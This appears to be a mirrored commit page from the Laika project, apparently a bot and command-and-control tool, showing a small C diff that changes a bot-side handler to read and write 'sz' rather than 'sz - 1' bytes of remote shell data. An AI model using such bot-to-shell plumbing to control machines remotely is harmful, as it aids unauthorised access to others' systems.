mirror of
https://github.com/CPunch/Laika.git
synced 2026-03-26 11:30:04 +00:00
Added 'shell' command to LaikaShell
- another major refactoring
This commit is contained in:
@@ -134,8 +134,8 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||
|
||||
/* read data buf */
|
||||
laikaS_read(&peer->sock, buf, sz - 1);
|
||||
laikaS_read(&peer->sock, buf, sz);
|
||||
|
||||
/* write to shell */
|
||||
laikaB_writeShell(bot, shell, buf, sz - 1);
|
||||
laikaB_writeShell(bot, shell, buf, sz);
|
||||
}
|
||||
Reference in New Issue
Block a user